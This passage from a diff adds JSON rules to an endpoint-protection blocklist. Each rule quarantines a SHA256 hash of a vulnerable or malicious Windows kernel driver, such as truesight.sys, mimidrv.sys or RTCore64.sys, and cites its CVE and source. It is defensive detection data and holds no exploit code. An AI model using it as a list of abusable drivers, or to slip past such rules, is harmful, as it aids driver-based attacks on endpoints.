+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a09c3f2-96d6-5535-ab43-5f98f2c74e67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467849Z",
+  "creation_date": "2026-03-23T11:45:30.467852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467863Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0895a8fa3ee38bb38cb9fcd0183cf9466c7577eab746b3540bd0b2f282246dc6",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a0b47ed-623a-5a9a-8cd6-e148521a72d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488466Z",
+  "creation_date": "2026-03-23T11:45:31.488468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488473Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99d89d9b0352e810b9084e8a4273c5a5e1609c72029e9115e9bc1407bbea9f35",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a0fa602-fb5e-5a76-a3c0-f8fe830e7417",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973322Z",
+  "creation_date": "2026-03-23T11:45:29.973324Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d884ca8cc4ef1826ca3ab03eb3c2d8f356ba25f2d20db0a7d9fc251c565be7f3",
+  "comment": "Voicemod Sociedad Limitada vulnerable driver (aka vmdrv.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a238d8c-3820-5fa6-8114-211d31f65d87",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830890Z",
+  "creation_date": "2026-03-23T11:45:30.830892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afe2ddf92a2c0f32c58ab6fdd40bf1120d161e036ac54a3cb29e5f8cb98d4c37",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a2a6a4c-262e-58e9-bf5e-32c498eda778",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142072Z",
+  "creation_date": "2026-03-23T11:45:31.142074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142080Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38e4469b142f388b6fbe9ce712ee00d590087d470ca5be8bb19df321ce5b4bbf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a2d86d2-d71c-502a-8a32-26df74ac78a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616783Z",
+  "creation_date": "2026-03-23T11:45:29.616785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d052299252f0f0bd70b5e7c46b9ca71a99a052b47f693582becb6f0d567e8245",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a37ec5b-f4ee-5e25-8c8a-14b5a498cba9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468719Z",
+  "creation_date": "2026-03-23T11:45:30.468722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468730Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c87d5f1261a367493fd2f240ace027bef5b178cff3dea22d45e8fa2b0f0541e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a38406a-f562-5371-91b7-7052ae1b7f15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610512Z",
+  "creation_date": "2026-03-23T11:45:29.610514Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67734c7c0130dd66c964f76965f09a2290da4b14c94412c0056046e700654bdc",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a3d5498-891b-5876-bc24-6e640dbb2556",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482507Z",
+  "creation_date": "2026-03-23T11:45:31.482511Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482520Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "167076cfb884ad82996eac9cf9dd02aec1e149ddfff11b5c4e8fc378f4898944",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a408110-c1d3-50c6-bc13-0416ed7a34b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829978Z",
+  "creation_date": "2026-03-23T11:45:30.829980Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3468c3bdd003bc14864251addf657ddc5111e8c2fbfd14678cc98fec06f112f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a4339fd-e588-5ec0-a0d6-01a5a746d1ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462670Z",
+  "creation_date": "2026-03-23T11:45:30.462674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8c71e1844e987cd6f9c2baf28d9520d4ccdd8593ce7051bb1b3c9bf1d97076a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a4783a3-0442-5285-9d29-47352d6c28d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822746Z",
+  "creation_date": "2026-03-23T11:45:30.822748Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11e76c3f091b3771d881e82f7171e72228bd43877aeea9008d7de4bda184aec2",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a496165-fea9-5a6c-a60e-2a31daa12650",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983473Z",
+  "creation_date": "2026-03-23T11:45:29.983475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04a269dd0a03e32e5b2a1c8ab0768791962e040d080d44dc44dab01dd7954f2b",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a51b5e9-d549-5b8e-a04c-d94dc20a213e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457336Z",
+  "creation_date": "2026-03-23T11:45:30.457340Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "888491196bd8ff528b773a3e453eae49063ad31fb4ca0f9f2e433f8d35445440",
+  "comment": "Malicious Kernel Driver (aka 4748696211bd56c2d93c21cab91e82a5.sys) [https://www.loldrivers.io/drivers/2d6c1da6-17e2-4385-ad93-1430f83bde83/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a6293fa-8db4-5c7d-a184-0bb3905bc3f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607470Z",
+  "creation_date": "2026-03-23T11:45:29.607472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cf6c6c2d231eaf67dfc87561cc9a56ecef89ab50baafee5a67962748d51faf3",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a68153b-1bd7-52b4-a5ce-050c2b7db2db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462171Z",
+  "creation_date": "2026-03-23T11:45:30.462174Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7a6c3a40724ba871e13d9c55b7967ed252777a2382fea86e4ed6a2a8203fb4a",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a6c7d63-0f96-53a2-9170-10068c0f4992",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480015Z",
+  "creation_date": "2026-03-23T11:45:31.480019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480029Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24790097b421265d0cd487a141d6ca7a1e6dd1064d6e333b50335649115580b7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a6e9ebc-b0ed-558f-a81f-33087ea978ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611150Z",
+  "creation_date": "2026-03-23T11:45:29.611152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611157Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0aa61910c3ceb765441c35925a50983b2571ac22da510f1495cf82f078b535b6",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a7162fa-e102-56de-a25c-5d16f2a4469c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142646Z",
+  "creation_date": "2026-03-23T11:45:31.142648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13241f289d7485b2ff12636ea372ebc6a3f74f427a1d98edf300d6d03b7ad177",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a7ace89-fdd3-579e-b0c6-e6bccbe1c4b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973889Z",
+  "creation_date": "2026-03-23T11:45:29.973891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a903f329b70f0078197cb7683aae1bb432eaf58572fe572f7cb4bc2080042d7e",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a8d6678-3710-5568-b5d2-1ab9a24c45dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829096Z",
+  "creation_date": "2026-03-23T11:45:31.829099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "857a12a70625608a37404e85476180042c5be465ac7d7ba9ed6b126995182218",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3a8fd3b6-87a5-56ec-89d3-33148e7f16f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825106Z",
+  "creation_date": "2026-03-23T11:45:31.825110Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825119Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c55e8ca84c630170f790b8f9046f7cc555819aa0aa82728986d50cb5be5bd671",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
